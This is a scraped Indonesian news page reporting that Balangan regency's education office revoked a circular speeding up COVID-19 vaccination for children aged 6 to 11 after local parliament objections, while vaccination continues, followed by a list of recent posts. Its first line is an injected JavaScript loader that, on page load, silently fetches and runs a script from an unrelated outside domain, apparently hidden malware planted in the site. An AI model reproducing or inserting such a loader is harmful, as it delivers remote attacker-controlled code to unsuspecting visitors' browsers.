(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Kadis Disdikbud Balangan Cabut Edaran Vaksinasi untuk Anak


KANALKALIMANTAN.COM, PARINGIN – Setelah Edaran Kepala Dinas Pendidikan dan Kebudayaan nomor : 800/077/SKT/Disdikbud/I/2022 tanggal 17 Januari 2022 tentang percepatan pelaksanaan vaksinasi Covid-19 untuk pelajar 6-11 tahun di Balangan, kini surat edaran tersebut dinyatakan tidak berlaku setelah terbitnya surat edaran nomor : 800/129/BP.Dikdas/Disdikbud/l/2022.

Edaran ini telah terbit dan telah ditandatangani oleh Kepala Disdikbud Kabupaten Balangan Ribowo yang dikonfirmasi oleh media pada Kamis (27/01/2022), di tempat kerjanya.

Ribowo menyampaikan alasan pencabutan surat edaran yang dimaksudkan tersebut ialah sesuai dengan instruksi dari Bupati Balangan Abdul Hadi.

“Kenapa demikian, karena Bupati mendapatkan saran dari DPRD Balangan agar dipending atau di cabut dahulu, sebelum adanya Rapat Dengar Pendapat (RDP) dengan DPRD, karena DPRD mendapatkan laporan dari masyarakat yang tidak setuju terhadap surat edaran tadi, oleh sebab itu surat edaran itu di stop dulu sementara,” ungkapnya.

 

Baca juga : Mahasiswa Kalsel Terus Kawal Kasus Vonis Janggal Pemerkosaan oleh Oknum Polisi

Lanjutnya, nantinya setelah RDP dilangsungkan barulah dilakukan perbaikan-perbaikan terhadap surat edaran tersebut. Untuk saat ini untuk vaksinasi Covid-19 usia 6 sampai 11 tahun masih dilanjutkan.

Ia menyampaikan untuk saat ini dari ribuan anak-anak yang telah divaksin, pihaknya belum menerima keluhan, yang sakit juga tidak terdengar sakit.

“Kemungkinan ada beberapa warga yang kurang setuju terhadap vaksin, kemungkinannya dia kurang pengetahuan atau pencerahan dari pihak terkait vaksin, sehingga tidak mengerti vaksinasi ini, yang mana padahal vaksin ini sama halnya dengan imunisasi. Jadi vaksinasi terus dilanjutkan walau surat edaran di stop,” tegasnya.

Dirinya berharap, dengan dicabutnya surat edaran tersebut, tidak menimbulkan sebuah permasalahan, melainkan ini hanya sekedar untuk memenuhi ke ingin dari DPRD terkait hal tersebut.(kanalkalimantan.com/alfi)

Reporter : alfi
Editor : cell


Desy Arfianty

Recent Posts

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

31 menit ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

47 menit ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

57 menit ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

1 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

2 jam ago

Peringatan Hardiknas dan Hari Otda, Wabup Banjar Bacakan Sambutan 2 Menteri

KANALKALIMANTAN.COM, MARTAPURA - Peringatan Hari Pendidikan Nasional (Hardiknas) dan Hari Otonomi Daerah ke-28 tahun 2024… Read More

3 jam ago

This website uses cookies.